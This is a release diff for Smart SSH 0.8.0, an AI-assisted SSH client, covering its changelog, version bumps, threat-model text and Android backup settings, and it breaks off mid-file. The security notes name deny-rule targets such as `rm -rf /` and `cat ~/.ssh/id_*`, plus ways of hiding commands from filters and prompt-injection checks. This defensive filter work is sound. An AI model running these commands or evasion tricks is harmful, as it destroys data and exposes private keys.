diff --git a/CHANGELOG.md b/CHANGELOG.md index 17421f505..398a0da7f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,342 @@ Features that are only available in a paid edition are marked with ## [Unreleased] +## [0.8.0] — 2026-12-05 + +### Highlights +- A new look: angular design, new app icon, redesigned title bar, chat, file browser, settings and dialogs. +- Smart SSH now runs on Android and fits narrow windows, with a touch key row, background sessions and system file picking. +- Encrypted backup of all your data to one file, restorable with a recovery code or passphrase. +- File transfers show progress, speed and remaining time and can be cancelled; an activity center tracks long-running work. +- Servers can now ask for passwords, one-time codes or other login input in a dialog, and outdated SSH algorithms are supported with a notice. +- Deny rules and risk rating now see commands hidden behind sudo, wrappers, subshells, comments and more. + +### Added +- Android: open SSH sessions keep running in the background with a notification + and a "Disconnect all" action. The database key is kept in the Android Keystore, + with a master password as fallback. +- Android: files can be uploaded, downloaded, edited and imported through the + system file picker, and exports use its save dialog. +- Voice input on Android is transcribed locally on the device; the microphone + permission is requested on first use. +- On touch devices the terminal shows an extra key row (Esc, Ctrl, Alt, Tab, + arrows and common symbols) and resizes when the on-screen keyboard opens. +- In a narrow window (under 640 px) the title bar shows a menu button with the + current title; the menu holds Connect, Manage, Rules, Settings and the open sessions. +- Settings → "Data and backup": export all your data to one encrypted file and + restore it again, with a one-time recovery code or a passphrase. +- When restoring a backup you can choose the folder for the safety backup of + your current data; it applies to that restore only. +- Servers and groups that a backup import moved into "Previous data" show a + "Copy" badge; "Keep as regular entry" in their context menu removes it. +- Saving a server with key-file login asks whether to import the key into Smart + SSH (it then travels with backups) or keep using the file path. A key file + missing on this device is shown as "Key file not found on this device". +- A dialog shows the questions of a server that asks for a password, a one-time + code or other login input, and connecting continues after you answer. +- You can connect to servers that only support outdated SSH algorithms; a notice + names them, because such a connection is less secure. +- The connection log shows the login banner a server sends before authentication. +- The password is optional: servers that allow login without one can be saved + with an empty field. The app tries "none", then an empty password. +- The file browser's elevated rights also work with the sudo password stored in + the server profile, without a passwordless sudoers rule. +- The file browser switches elevated rights off after a period without activity + (default 15 minutes; 5, 15, 30, 60 minutes or never in Settings) and tells you. +- New per-server setting "Allow elevated rights in the file browser" (on by + default). The first time you switch to elevated rights on a server, a notice + explains what that means and offers a safer alternative. +- File browser uploads and downloads show progress, speed and remaining time + (also for whole folders) and have a cancel button per transfer; large files no + longer load into memory. +- Deleting a folder or changing permissions recursively shows "x of y entries" + with a progress bar and a cancel button. +- Click a column header in the file browser to sort by it; click again to reverse. + Folders stay on top and the choice is remembered. +- The file list has an Owner column (`user:group`). Right-click the header to + show or hide any column except Name. +- "Change owner…" in the file browser changes user and group of a file or + folder, optionally for all contents, also with elevated rights. +- "New session" in the right-click menu of a server or its tab opens an + additional session to the same server. Tabs of one server are numbered. +- A saved server's settings have a "Connect" button next to Save, disabled + until your changes are saved. +- Saved AI providers can be edited (name, model, base URL, key, headers) and + their credentials tested, without deleting and re-adding them. +- A command that ran automatically shows which allow rule let it run, with a + link that opens the rule in the filter rules. +- Every code block in an AI answer or generated document has a copy button. +- Voice input can use NVIDIA's Parakeet TDT 0.6B v3 as an additional local + speech model on desktop and Android; it detects the spoken language itself. + Settings → Voice input lists it with its size, source and license. +- A second copy of the app can use its own data directory via `--data-dir + ` or a `.data-dir` file next to the app; the header shows + which directory is in use. +- A small activity icon in the header shows long-running work such as downloads, + with progress, size and a cancel button, even after the starting dialog is closed. +- Quitting while a download or other activity is running asks for confirmation. + A speech-model download interrupted by quitting shows up after the next start + as "Interrupted" and can be resumed or discarded. +- New appearance setting in Settings → Display & Language: System (default), + Light or Dark. The terminal, window frame and form controls follow it. +- **(Pro)** Delete the activity record of a single session, a server or a group + from the history, with confirmation. +- Extensions and integrations get more to work with: group, AI provider, chat + session and recorded-session listings, composer action types, toast + notifications, withdrawing Manage views and composer actions, re-attaching to + a running activity, observers for session activity (redacted text only; the + Community edition registers none) and applying a change set only if the data + is unchanged since it was read. + +### Changed +- New look: graphite and signal-cyan colours in dark and light theme, square + corners, flat 1 px rules instead of shadows, uppercase condensed labels, + square status markers, and one flat angular icon set instead of emoji and + text symbols. +- New app icon on every platform and a new browser tab icon: the "Trace" mark. +- The title bar is a single bar with the logo, the main navigation (Connect, + Manage, Filter Rules), flat session tabs with status markers and a "Pending" + badge, and icon buttons for activities and settings. The Overview tile is + replaced by the Connect tab and a "+" button. +- The session header shows the server's user, host, port and group, with the + Terminal/Files switch built in and Reconnect in a "More actions" menu. +- The Connect and Manage server trees use flat rows with connector lines and + counts. Manage has "+ Group" and "+ Server", "Import …" / "Export …" in the + footer and collapsible groups. Connect has larger arrows and no "+" / "⋯" + buttons on rows; create and move servers in Manage. +- The chat uses the new flat look: a header with the AI model, a segmented + context meter and "New chat", a labelled message box with a toolbar row, and + command cards showing the allowing rule and exit code. +- Long command output in the chat shows the first 8 lines with a "Show all" / + "Show less" toggle. +- The file browser has a redesigned toolbar, an editable breadcrumb path bar, a + columns button and a tidier table that shows link targets inline. Symbolic + links are marked, and a link to a folder opens like a folder. +- The filter rules view shows rules as tables per scope with a rule count, a red + hard-blacklist block and the rule tester as a side panel on wide windows. +- Settings open as a full window below the title bar with a numbered category + list; the AI provider, master password, backup, display, diagnostics, file + types, voice input, about and MCP server settings use the new look. +- The server form, group form and notes have the new look: a Connection tab with + two columns on wide windows, a segmented authentication choice, key-file + findings and a test result badge such as "OK · 142 ms". +- The activity center shows a status label, progress bar, size, speed and + remaining time per activity; the quit confirmation shows an icon for each. +- The unlock screen, start-up questions, error screen, host key dialog (a + changed key is a red security dialog), login prompt, connecting tab, toasts, + move/import dialogs and file browser dialogs use the new design. +- The session tab strip fades at an edge that hides tabs, and the mouse wheel + scrolls it sideways. Screen readers announce the title-bar navigation as + "Main navigation". +- The host key dialog shows the name of the saved server as its first line. +- Narrow windows: dialogs and start-up screens fill the window; a connected + session shows AI, Terminal and Files as tabs with the session name and + actions in the title bar; the server list, chat session picker, connecting + tab and Manage use the full width, with a "Move to…" button; the chat has a + compact composer with extra actions behind a "+" menu; the file browser has + two-line rows, a ⋯ button per row, a bottom bar with "+ Folder" and "Upload", + and menus open as a sheet; Settings and filter rules fit the width. +- The touch key row is two fixed rows of eight keys that fit any phone width, + and the terminal fills its area with the terminal colours. +- The server settings in Manage are split into General, Connection, Security + and Notes tabs. Adding an AI provider and adding or editing a filter rule + open in a dialog; the provider name is filled from the chosen model. +- In the confirmation dialog, each part of a command that still needs a rule can + be expanded to pick an allow rule and its scope; picked rules are saved + together with "Save rules". "Accept + Rule" is gone. +- The chat's automatic continuation stops after 10 steps without your + confirmation; every decision on a confirmation prompt restarts the count. +- Commands up to 16384 bytes are fully checked (before: 4096); longer commands + still always ask for confirmation. +- Long chats with Anthropic models use far fewer input tokens, and chat + compaction and the context-size indicator use the real prompt size for + OpenAI-compatible providers that report token usage. +- Voice input runs the Whisper models (`base`, `small`) on the same engine as + Parakeet; previously downloaded Whisper models are removed once on update and + have to be downloaded again. Model downloads appear in the activity center and + keep running when their dialog is closed. +- Elevated file operations are also written to the server's own auth log; the + suggested sudoers line includes the logging arguments. Existing rules keep working. +- Ending elevated rights while elevated transfers, deletes or permission + changes are still running asks first and stops them if you confirm. +- Uploading a locally edited file that fails shows the error once, in the edit + bar. The "no diff" hint says why a file could not be compared. +- In the ssh_config import preview, keywords that match an existing Allow rule + start selected like all others. +- Risk badges with an explanation show an "ⓘ" marker; the explanation appears + on hover and keyboard focus and is read by screen readers. +- With the injected-instructions check on, a spinner shows while it runs, and a + warning with the checking AI's reason stays if it suspects an attempt. +- The "Always confirm on red risk" and risk second-opinion settings are saved + by the app's backend, which rejects an unknown or missing AI provider. +- Context and dropdown menus can be navigated with the arrow keys, Home and End. + The close ✕ on session tabs shows a clear frame on hover and keyboard focus. +- Changing the file browser sort order in one panel updates all other open panels. +- Android: the status and navigation bars follow the appearance setting. +- Smart SSH no longer keeps its own record of session activity on disk; an + existing, never-shown record is removed on update. Chats and notes are unchanged. +- Smart SSH is now licensed under GPL-3.0-only; versions up to 0.7.0 remain Apache-2.0. +- Integrations can wrap the AI providers the app builds, and editions can + refuse a connection before anything is opened; the refusal message is shown. + +### Fixed +- Android: the app installs and starts on devices with 16 KB memory pages and no + longer aborts after the splash screen; connecting and AI or model-download + requests no longer fail with a TLS panic, and a TLS setup failure is reported. +- Android: data is stored correctly for secondary user profiles, the header, + menu and bottom buttons are no longer hidden behind system bars or the + keyboard, the Smart SSH logo is the launcher icon, and the starting window is + light on light-theme devices. +- Android: when the database or its key cannot be used at launch, the app shows + the same recovery choices as on desktop. The diagnostics line explains that the + Keystore is unavailable and suggests a master password. +- Android: encrypted backups work with files from the system file picker, a + failed file choice stays visible with "Choose file again", the restore dialog + no longer offers a safety-backup "Change…" button, commands in the terminal + keep the device awake while active, and returning from the background brings + every open chat up to date. +- A confirmation card shows as expired, without buttons, when a reconnect or + timeout discarded the request; after a reconnect the AI is told so, not that + you rejected it. The note suggestion card can always be closed and shows + "Expired — not applied" after its one-hour window. +- After you confirm a note update proposed by the AI, the AI sees that it was applied. +- Error cards and similar notices in a chat no longer disappear when the app + returns from the background. +- Summarizing a note warns you when some secret values could not be loaded and + may not be masked. +- A command killed by a signal shows a shell-style exit code (128 + signal). + Opening a terminal on a server that refuses terminals now fails with a clear error. +- When two connections ask for login input at the same time, the dialogs appear + one after another. +- SSH login: the agent tries all its keys and offers OpenSSH certificates, and + a login banner with invalid text characters no longer fails the login. +- When a jump host refuses to forward the connection, the log and error name + that jump host. Opening the SFTP browser on a server without SFTP fails within + a second with a clear message. +- Deny rules, the hard blacklist and the risk rating see the command behind + every `sudo` or `doas` option that takes a value, also with quoted spaces. +- A command that starts `sftp-server` behind a wrapper such as `timeout 5m` or + `nice -n 10`, quoted arguments or `sudo` options is rated red and asks for + confirmation again. +- The server list updates by itself when servers or groups change elsewhere. +- Settings sections contributed to a built-in category appear in that category. +- A data-directory pointer file starting with `~` no longer silently falls back + to the default directory when the home directory is unknown. +- Discarding an interrupted model download no longer deletes a model that is + installed again, and the same download is no longer listed twice. +- Cancelling an activity from the activity center at the same moment as its + owner or an extension starts it is no longer missed or misreported. +- A stalled transfer no longer keeps showing its last speed and remaining time, + even if the system clock steps back. +- A local session tab keeps its local marker colour even if the server list + failed to load at startup, and a reconnecting session shows the same warning + marker in the server list as in its tab. +- The "exit code" text on command cards is translated, and screen readers no + longer read the `$` prompt. The rule dialog announces a rejected pattern on the + pattern field, and the on/off switch stays readable in Windows high-contrast mode. +- In the file browser, a mistyped path stays in the path field so you can correct it. +- The ssh_config import button counts only the servers that will be created. +- Resuming a saved chat that no longer exists shows a clear message, and Retry + connects normally. +- A failed save of the AI second-opinion settings shows the previous switch and + provider again, and the "Always confirm on red risk" switch keeps keyboard focus. +- The "redaction incomplete" marker on activity events stays correct after a + reconnect or overlapping secret reloads. +- Commands started by an MCP client no longer count as your own activity. +- When the AI proposes to overwrite a file larger than 1 MiB, the card says it + is too large for a text comparison instead of calling it binary. +- "Open locally" works for remote files whose name starts with a dot, such as + `.env.local`. The upload comparison preview, "Open locally" and the backup + before a file write no longer load a huge remote file into memory. +- The third-party licenses list includes ONNX Runtime and its bundled libraries. +- Applying permissions recursively no longer locks you out of folders or copies + setuid/setgid/sticky bits onto files; a folder without the execute bit says so. +- Confirming "Overwrite" when renaming or moving a file onto an existing file + works instead of failing. A folder as target is reported and never replaced. +- "Copy file content" reliably puts the text into the clipboard on macOS. +- Context menus, dropdowns and popups stay fully inside the window. Right-clicking + no longer shows the browser-style menu with "Reload"; the file browser's + empty-space menu offers "Refresh". +- When an AI provider rejects requests because a usage or spending limit was + reached, the chat says so, including the date access returns if named. When + the model declines a request, the chat says so. +- Connection details no longer show a DNS lookup for IP addresses, label a TCP + timeout as such, and show failed steps with a readable reason. "Test + connection" shows the steps live in a dialog and can be cancelled. +- The context usage indicator resets to 0 when you start a new chat. +- Voice input no longer inserts markers such as "[BLANK_AUDIO]" or "(music)". +- The file list header stays opaque while scrolling. +- Keyboard focus in the chat is no longer lost when "Jump to latest message" + disappears; the key import prompt keeps focus inside it and closes with Escape. +- On narrow screens, "Keep as regular entry" is reachable from the "⋯" dialog. +- Restoring a backup ignores additional optional fields in server and group + entries instead of rejecting the file. Importing a backup while an AI command + runs cancels it and fully closes the affected sessions. +- Changing the AI second opinion setting while an answer streams no longer + risks losing part of the answer. +- Editing a file locally after the elevated mode changed user offers "Upload as + " instead of a dead end. +- A faulty extension contribution no longer blanks the window: only that item + disappears, and an unexpected error shows a recovery screen with a Reload button. +- Closing a session stops everything still running for it in the background, + and a late background task for a closed session is refused. +- Using a session that is no longer open shows a message in your language + instead of a German error text. +- Chat messages and history entries written at the same moment can no longer + end up with a duplicated order number or an over-full history. +- Notices and "requires Pro" dialogs raised during startup are no longer lost. +- The German hint for loading an Ollama model shows `ollama pull ` correctly. +- A running download or upload no longer blocks browsing, previews or AI file + reads of the same server, and disconnecting during the elevated-access check + no longer waits for it. +- Commands and terminals that print a lot of output no longer make memory grow + without limit; the live view may stop with a size notice while the result stays complete. + +### Security +- Deny rules and the built-in blacklist now also apply to commands hidden behind + a backslash, a `#` comment or a line continuation, inside substitutions, + subshells and `{ ...; }` groups, and to commands that cannot be fully analysed + or exceed the length limit; comments and continuations ask for confirmation. +- An option word of `sudo`, `doas` or a wrapper with an expansion in it now + always needs confirmation, and the command behind such prefixes is checked + past comments, no-break spaces, `$'…'` escapes and in `eval`, `trap` and `alias`. +- Deny rules, the hard blacklist and the risk rating also see the command that + programs such as `watch`, `su -c`, `find -exec`, `ssh host`, `tmux`, `screen`, + `parallel`, `systemd-run`, `cmd /C` and PowerShell run, and behind quoted + variable assignments and more option forms of `env` and `sudo`. A Deny rule + such as `rm *` also applies to `find … -delete`. Where that command cannot be + read, or a command name contains `=`, confirmation is required. +- Commands starting `sftp-server` through `sudo`/`doas`, `su root -c` and + similar forms are rated red or high risk and ask for confirmation. +- Reading a renamed private SSH key such as `backup_id_rsa`, also through a + wildcard (`cat ~/.ssh/id_*`), is rated high or red data risk. Public keys and + `known_hosts` are not affected. +- Secrets in command output with terminal colour or cursor codes are masked + before the text reaches the AI, the chat or logs. Passwords in `.netrc` + entries are masked in every valid layout. +- A command into which stored secret values would be inserted right before + sending always asks for confirmation, and a prepared command that changes the + approved structure is not sent. +- If the filter rules cannot be loaded, commands always ask for confirmation. If + the app cannot fully load which secrets or server tags apply, it keeps masking + what it knew, asks for confirmation and shows a notice. +- The diff preview of a proposed file write no longer reads a huge or endless + file into memory, and a denied write reads nothing. The note-update + suggestion on disconnect follows the same redaction checks as chat messages. +- The app window can no longer write the settings file directly; the backend + accepts only known settings with valid values. +- On Android, app data is excluded from the system cloud backup and + device-to-device transfer; use the encrypted backup export instead. +- The bundled database engine is updated to SQLite 3.54, fixing a flaw in how + SQLite reads a crafted write-ahead log file. +- An instance with its own data directory keeps its keychain entries under a + separate service and cannot touch your normal instance's secrets; a data + directory override is refused at start-up when other users can modify it. +- A connection refused by a session extension can no longer be bypassed by reconnecting. +- Closing an edit session only removes files inside its edit folder. +- Changing permissions recursively leaves symbolic links untouched instead of + changing what they point to. + ## [0.7.0] — 2026-10-23 ### Highlights diff --git a/Cargo.lock b/Cargo.lock index 247c926bf..b5e17c2b5 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -66,7 +66,7 @@ dependencies = [ [[package]] name = "ai-providers" -version = "0.7.0" +version = "0.8.0" dependencies = [ "chrono", "futures", @@ -160,7 +160,7 @@ checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" [[package]] name = "app-logic" -version = "0.7.0" +version = "0.8.0" dependencies = [ "ai-providers", "async-trait", @@ -195,7 +195,7 @@ dependencies = [ [[package]] name = "app-shell" -version = "0.7.0" +version = "0.8.0" dependencies = [ "ai-providers", "app-logic", @@ -1173,7 +1173,7 @@ dependencies = [ [[package]] name = "credentials-keyring" -version = "0.7.0" +version = "0.8.0" dependencies = [ "android-native-keyring-store", "keyring", @@ -3408,7 +3408,7 @@ dependencies = [ [[package]] name = "mcp-server" -version = "0.7.0" +version = "0.8.0" dependencies = [ "async-trait", "axum", @@ -4316,7 +4316,7 @@ checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" [[package]] name = "persistence-sqlite" -version = "0.7.0" +version = "0.8.0" dependencies = [ "async-trait", "chrono", @@ -4336,6 +4336,7 @@ dependencies = [ "tracing", "tracing-subscriber", "uuid", + "windows-sys 0.61.2", "zeroize", ] @@ -4905,7 +4906,7 @@ checksum = "60a357793950651c4ed0f3f52338f53b2f809f32d83a07f72909fa13e4c6c1e3" [[package]] name = "real-app-tests" -version = "0.7.0" +version = "0.8.0" dependencies = [ "app-logic", "base64 0.23.1", @@ -5950,7 +5951,7 @@ dependencies = [ [[package]] name = "smart-ssh-community" -version = "0.7.0" +version = "0.8.0" dependencies = [ "app-shell", "serde_json", @@ -6027,7 +6028,7 @@ dependencies = [ [[package]] name = "speech" -version = "0.7.0" +version = "0.8.0" dependencies = [ "cpal", "futures", @@ -6327,7 +6328,7 @@ dependencies = [ [[package]] name = "ssh-manager-core" -version = "0.7.0" +version = "0.8.0" dependencies = [ "argon2", "async-trait", @@ -6356,7 +6357,7 @@ dependencies = [ [[package]] name = "ssh-transport" -version = "0.7.0" +version = "0.8.0" dependencies = [ "async-trait", "bytes", @@ -6714,7 +6715,7 @@ dependencies = [ [[package]] name = "tauri-plugin-android-host" -version = "0.7.0" +version = "0.8.0" dependencies = [ "serde", "tauri", @@ -7151,7 +7152,7 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tls-config" -version = "0.7.0" +version = "0.8.0" dependencies = [ "rustls", "webpki-roots", diff --git a/Cargo.toml b/Cargo.toml index 3f2c37d40..257ebb887 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -3,7 +3,7 @@ resolver = "2" members = ["crates/*", "apps/*"] [workspace.package] -version = "0.7.0" +version = "0.8.0" edition = "2021" rust-version = "1.99" license = "GPL-3.0-only" @@ -58,17 +58,17 @@ uuid = { version = "1.26.0" } zeroize = { version = "1.9.0" } # Internal path dependencies (version pins must match [workspace.package]). -ai-providers = { version = "0.7.0", path = "crates/ai-providers" } -app-logic = { version = "0.7.0", path = "crates/app-logic" } -app-shell = { version = "0.7.0", path = "crates/app-shell" } -credentials-keyring = { version = "0.7.0", path = "crates/credentials-keyring" } -mcp-server = { version = "0.7.0", path = "crates/mcp-server" } -persistence-sqlite = { version = "0.7.0", path = "crates/persistence-sqlite" } -speech = { version = "0.7.0", path = "crates/speech" } -ssh-manager-core = { version = "0.7.0", path = "crates/core" } -ssh-transport = { version = "0.7.0", path = "crates/ssh-transport" } -tauri-plugin-android-host = { version = "0.7.0", path = "crates/tauri-plugin-android-host" } -tls-config = { version = "0.7.0", path = "crates/tls-config" } +ai-providers = { version = "0.8.0", path = "crates/ai-providers" } +app-logic = { version = "0.8.0", path = "crates/app-logic" } +app-shell = { version = "0.8.0", path = "crates/app-shell" } +credentials-keyring = { version = "0.8.0", path = "crates/credentials-keyring" } +mcp-server = { version = "0.8.0", path = "crates/mcp-server" } +persistence-sqlite = { version = "0.8.0", path = "crates/persistence-sqlite" } +speech = { version = "0.8.0", path = "crates/speech" } +ssh-manager-core = { version = "0.8.0", path = "crates/core" } +ssh-transport = { version = "0.8.0", path = "crates/ssh-transport" } +tauri-plugin-android-host = { version = "0.8.0", path = "crates/tauri-plugin-android-host" } +tls-config = { version = "0.8.0", path = "crates/tls-config" } # Spec 0101, A14: Argon2id rechnet absichtlich teuer (m = 64 MiB, t = 3). # Unoptimiert dauert ein einzelner Durchlauf gut zwei Sekunden statt rund diff --git a/THREAT-MODEL.md b/THREAT-MODEL.md index 379577c72..85d8efc77 100644 --- a/THREAT-MODEL.md +++ b/THREAT-MODEL.md @@ -250,7 +250,19 @@ The exact paths per platform are listed in directory with `--data-dir`, `SMART_SSH_DATA_DIR` or a pointer file next to the app (Spec 0115); then every file of that instance lives there, and an unusable directory stops the start instead of falling back to the default one. The -pointer file only names a path and holds no secret. An instance with such an override keeps its keychain entries under its own service `Smart SSH ()` (id = first 12 hex characters of the SHA-256 of the canonical data-directory path, Spec 0101 A25), so it cannot read, replace or delete the secrets of the default instance. +pointer file only names a path and holds no secret, but whoever can replace it +could point the instance at a directory they control. An override therefore only +takes effect when other local users cannot modify the files: the pointer file +must be owned by the current user or root and not group- or world-writable (not +a symbolic link or other non-regular file; on Windows it and the data directory must be owned by +the current user, Administrators, SYSTEM or TrustedInstaller, and the ACL must +grant no write rights to Everyone, Authenticated Users, BUILTIN\\Users, Guests +or Anonymous, including conditional and object ACEs), and an existing data +directory (any override source) must be owned by the current user and not +world-writable (Windows: see above; group-writable is accepted with a +logged warning). A directory the app creates is owner-only (`0700`) on Linux and macOS, inherits +its parent's ACL on Windows, and is then checked like an existing one. Otherwise +the start stops with the data directory error dialog. An instance with such an override keeps its keychain entries under its own service `Smart SSH ()` (id = first 12 hex characters of the SHA-256 of the canonical data-directory path, Spec 0101 A25), so it cannot read, replace or delete the secrets of the default instance. | Data | Location | Protection | |---|---|---| @@ -308,6 +320,9 @@ data directory (backup, stolen disk) without access to your unlocked OS account or your master password. It does not protect against malware running as your user while the app is unlocked. +On Android the app data is excluded from system cloud backup and +device-to-device transfer; the encrypted backup export is the way to move data. + ### Activity events and who receives them **What the core stores.** Nothing: since issue #1506 the core keeps no @@ -480,6 +495,7 @@ into `Confirm`, never `Confirm` into `AutoExec`, and never lift a `Deny` | **Suspected prompt injection** in content just read (if the injection check is enabled) | Always for the next action | [Spec 0039](docs/specs/0039-untrusted-content-fencing.md), §5 | | **Any action after you rejected an earlier one in the same answer** | Always | [`action_exec.rs`](crates/app-logic/src/orchestration/action_exec.rs) | | **Commands too long, too nested or too opaque to check**, including line continuations, shell comments and backslashes inside backticks (plain backslash escapes are resolved and checked against the rules) | Always | [ADR 0107](docs/adr/0107-filter-fail-closed-on-opaque-input.md), [ADR 0162](docs/adr/0162-filter-shell-lexing-escapes-comments.md) | +| **Commands another program runs whose command line cannot be read for sure**: read from stdin or a file (`… \| ssh host`, `… \| sudo -i`, `at`), keys sent to a session (`tmux send-keys`), `cmd`/PowerShell command lines, encoded PowerShell, code of another language that starts commands. Where it can be read (`watch`, `su -c`, `find -exec`, `ssh host …`, …), deny rules, the hard blacklist and the risk rating apply to it as to the bare command | Always | [Spec 0002](docs/specs/0002-filter-engine-spec.md), §4.6; [ADR 0165](docs/adr/0165-filter-commands-run-by-other-programs.md) | | **Filter rules that cannot be loaded** (unreadable rule store or failing rule source): all allow rules are ignored | Always | [Spec 0002](docs/specs/0002-filter-engine-spec.md), §3.4 | | **Hard-blacklisted commands** (e.g. `rm -rf /`) | Always | [`engine.rs`](crates/core/src/filter/engine.rs) | | **Content read from the server** (post-ingest policy) | Per server: `Strict` always, `Balanced` for modifying actions, `Standard` never | [Spec 0039](docs/specs/0039-untrusted-content-fencing.md), [ADR 0027](docs/adr/0027-post-ingest-policy-scope-and-injection-check-timing.md) | diff --git a/apps/smart-ssh-community/frontend/package-lock.json b/apps/smart-ssh-community/frontend/package-lock.json index b8ad4ab2b..adacf8bd3 100644 --- a/apps/smart-ssh-community/frontend/package-lock.json +++ b/apps/smart-ssh-community/frontend/package-lock.json @@ -1,12 +1,12 @@ { "name": "smart-ssh", - "version": "0.7.0", + "version": "0.8.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "smart-ssh", - "version": "0.7.0", + "version": "0.8.0", "license": "GPL-3.0-only", "dependencies": { "@tailwindcss/typography": "^0.5.20", diff --git a/apps/smart-ssh-community/frontend/package.json b/apps/smart-ssh-community/frontend/package.json index 7180d82a6..e248f00e9 100644 --- a/apps/smart-ssh-community/frontend/package.json +++ b/apps/smart-ssh-community/frontend/package.json @@ -1,7 +1,7 @@ { "name": "smart-ssh", "private": true, - "version": "0.7.0", + "version": "0.8.0", "license": "GPL-3.0-only", "type": "module", "exports": { diff --git a/apps/smart-ssh-community/gen/android/app/src/main/AndroidManifest.xml b/apps/smart-ssh-community/gen/android/app/src/main/AndroidManifest.xml index 23f1ef85d..f366beb1b 100644 --- a/apps/smart-ssh-community/gen/android/app/src/main/AndroidManifest.xml +++ b/apps/smart-ssh-community/gen/android/app/src/main/AndroidManifest.xml @@ -6,6 +6,9 @@ - - - - diff --git a/apps/smart-ssh-community/gen/android/app/src/main/res/xml/data_extraction_rules.xml b/apps/smart-ssh-community/gen/android/app/src/main/res/xml/data_extraction_rules.xml new file mode 100644 index 000000000..2aee678ae --- /dev/null +++ b/apps/smart-ssh-community/gen/android/app/src/main/res/xml/data_extraction_rules.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + diff --git a/apps/smart-ssh-community/gen/android/app/src/main/res/xml/file_paths.xml b/apps/smart-ssh-community/gen/android/app/src/main/res/xml/file_paths.xml deleted file mode 100644 index 782d63b99..000000000 --- a/apps/smart-ssh-community/gen/android/app/src/main/res/xml/file_paths.xml +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/apps/smart-ssh-community/tauri.conf.json b/apps/smart-ssh-community/tauri.conf.json index d8f173cb9..89a63109d 100644 --- a/apps/smart-ssh-community/tauri.conf.json +++ b/apps/smart-ssh-community/tauri.conf.json @@ -1,7 +1,7 @@ { "$schema": "https://schema.tauri.app/config/2", "productName": "Smart SSH", - "version": "0.7.0", + "version": "0.8.0", "identifier": "com.smartssh.desktop", "build": { "beforeDevCommand": { diff --git a/changelog.d/filter-backslash-comment-hidden-commands.md b/changelog.d/filter-backslash-comment-hidden-commands.md deleted file mode 100644 index 5cbb81f80..000000000 --- a/changelog.d/filter-backslash-comment-hidden-commands.md +++ /dev/null @@ -1,5 +0,0 @@ -### Security -- A command hidden behind a backslash, a `#` comment or a line continuation is - now seen by deny rules and the hard blacklist; comments and continuations ask. -- A command inside a substitution is read with its own quotes and comments, - also within double quotes, and `${ cmd; }` counts as a substitution. diff --git a/changelog.d/issue-1018-note-update-result-for-ai.md b/changelog.d/issue-1018-note-update-result-for-ai.md deleted file mode 100644 index ec8f97bdf..000000000 --- a/changelog.d/issue-1018-note-update-result-for-ai.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- After you confirm a note update proposed by the AI, the AI now clearly sees that it was applied and what the note says, instead of sometimes claiming it never proposed it. diff --git a/changelog.d/issue-1019-settled-confirmation-card.md b/changelog.d/issue-1019-settled-confirmation-card.md deleted file mode 100644 index 04fb6ef6a..000000000 --- a/changelog.d/issue-1019-settled-confirmation-card.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- A confirmation card in the chat now shows as expired, without buttons, when a reconnect or a timeout discarded the request. A tap on a request the app no longer knows is no longer shown as approved. -- After a reconnect, the AI is told the request was discarded because of the reconnect, not that you rejected it. diff --git a/changelog.d/issue-1020-android-chat-resync.md b/changelog.d/issue-1020-android-chat-resync.md deleted file mode 100644 index 0917e8b05..000000000 --- a/changelog.d/issue-1020-android-chat-resync.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- On Android, returning from the background now brings every open chat up to date: answers, action results and confirmations that arrived meanwhile are shown. diff --git a/changelog.d/issue-1041-keep-live-only-items.md b/changelog.d/issue-1041-keep-live-only-items.md deleted file mode 100644 index cdf0276ab..000000000 --- a/changelog.d/issue-1041-keep-live-only-items.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Error cards and similar notices in a chat no longer disappear when the app returns from the background. diff --git a/changelog.d/issue-1047-public-api-exports.md b/changelog.d/issue-1047-public-api-exports.md deleted file mode 100644 index 074e46e85..000000000 --- a/changelog.d/issue-1047-public-api-exports.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Extension API: group, AI provider and chat session listing, the composer action types and more test helpers are now exported. diff --git a/changelog.d/issue-1057-note-summary-incomplete-redaction.md b/changelog.d/issue-1057-note-summary-incomplete-redaction.md deleted file mode 100644 index bbba516c0..000000000 --- a/changelog.d/issue-1057-note-summary-incomplete-redaction.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Summarizing a note now warns you when some secret values could not be loaded and may not be masked. diff --git a/changelog.d/issue-1075-public-api-ui-preference.md b/changelog.d/issue-1075-public-api-ui-preference.md deleted file mode 100644 index 1c027235f..000000000 --- a/changelog.d/issue-1075-public-api-ui-preference.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Extensions can now save a UI preference and reset registered tiers in their tests through the public entry points. diff --git a/changelog.d/issue-1104-unregister-manage-view-composer-action.md b/changelog.d/issue-1104-unregister-manage-view-composer-action.md deleted file mode 100644 index 9a9c79af3..000000000 --- a/changelog.d/issue-1104-unregister-manage-view-composer-action.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Extensions can now withdraw a Manage view or a composer action they registered earlier. diff --git a/changelog.d/issue-1121-closed-session-scope.md b/changelog.d/issue-1121-closed-session-scope.md deleted file mode 100644 index 69e056fe7..000000000 --- a/changelog.d/issue-1121-closed-session-scope.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A late background task for an already closed session is now refused instead of leaving a stray task scope behind. diff --git a/changelog.d/issue-1164-extension-task-scope.md b/changelog.d/issue-1164-extension-task-scope.md deleted file mode 100644 index cb100625c..000000000 --- a/changelog.d/issue-1164-extension-task-scope.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Extensions can now run background tasks that are stopped cleanly when the app exits. diff --git a/changelog.d/issue-1166-public-show-toast.md b/changelog.d/issue-1166-public-show-toast.md deleted file mode 100644 index daa498fd5..000000000 --- a/changelog.d/issue-1166-public-show-toast.md +++ /dev/null @@ 